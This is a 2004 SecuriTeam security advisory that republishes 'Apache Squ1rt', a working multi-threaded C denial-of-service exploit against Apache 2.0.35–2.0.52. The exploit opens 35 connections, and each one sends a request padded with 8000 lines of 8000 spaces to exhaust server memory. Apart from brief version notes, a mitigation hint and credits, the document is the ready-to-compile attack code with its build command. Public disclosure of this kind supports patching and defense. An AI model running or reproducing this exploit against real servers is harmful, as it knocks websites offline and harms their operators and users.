[EXPL] Apache Multiple Space Header DoS (Multi−Threaded Exploit)

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2004−11/0066.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 11/18/04

```
To: list@securiteam.com
Date: 18 Nov 2004 18:51:48 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Apache Multiple Space Header DoS (Multi−Threaded Exploit)
−−−

SUMMARY

The exploit code below is another version of the Apache 2.0.52 DoS
vulnerability published previously here:
<http://www.securiteam.com/unixfocus/6A0010KBPE.html> Apache Multiple
Space Header DoS.

DETAILS

Versions between 2.0.35 and 2.0.52 may be vulnerable, but only down to
2.0.50 was tested. This attack may be preventable with a properly
configured iptables ruleset.

This exploit is multi threaded version (implemented with pthread) and
should be compiled appropriately.
e.g: gcc −lpthread −o apache−squ1rt apache−squ1rt.c

Exploit Code:

```
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52
```

j0hnylightning at gmail dot com
dguido at gmail dot com

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
..
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

More info:
http://www.cve.mitre.org/cgi−bin/cvename.cgi?name=CAN−2004−0942

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52−r1 release in the file 06_all_gentoo_protocol.patch

v2
Rewritten to use pthread.
gcc apache−squ1rt.c −lpthread
*/

```
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];
```

```
int main(int argc, char **argv){
	int num_connect;
	int ret;
	pthread_t tid[35];

	sprintf(letsGetStarted, "GET / HTTP/1.0\n");
	memset(attackBuf, ' ', 8000);
	attackBuf[7998]='\n';
	attackBuf[7999]='\0';

	if (argc != 2){
		fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
		exit(1);
	}

	for(num_connect = 0; num_connect < 35; num_connect++){
		ret = pthread_create(&tid[num_connect], NULL, (void
*)squirtIt, argv[1]);
	}

	/* assuming any of these threads actually terminate, this waits
for
all of them */
	for(num_connect = 0; num_connect < 35; num_connect++){
		pthread_join(tid[num_connect], NULL);
	}

  return 0;
}

void *squirtIt(char *hName){
	int sock, i;
	struct hostent *target;
	struct sockaddr_in addy;

	if((target = gethostbyname(hName)) == NULL){
		herror("gethostbyname()");
		exit(1);
	}

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		perror("socket()");
		exit(1);
	}

	addy.sin_family = AF_INET;
	addy.sin_port = htons(DEST_PORT);
	bcopy(target−>h_addr, (char *)&addy.sin_addr, target−>h_length );
	memset(&(addy.sin_zero), '\0', 8);
```

```
	if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
		perror("connect()");
		exit(1);
	}

	send(sock, letsGetStarted, strlen(letsGetStarted), 0);

	for(i=0; i < 8000; i++){
		send(sock, attackBuf, strlen(attackBuf), 0);
	}

	close(sock);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:dguido@gmail.com> Daniel
Guido.

==========

==========
==========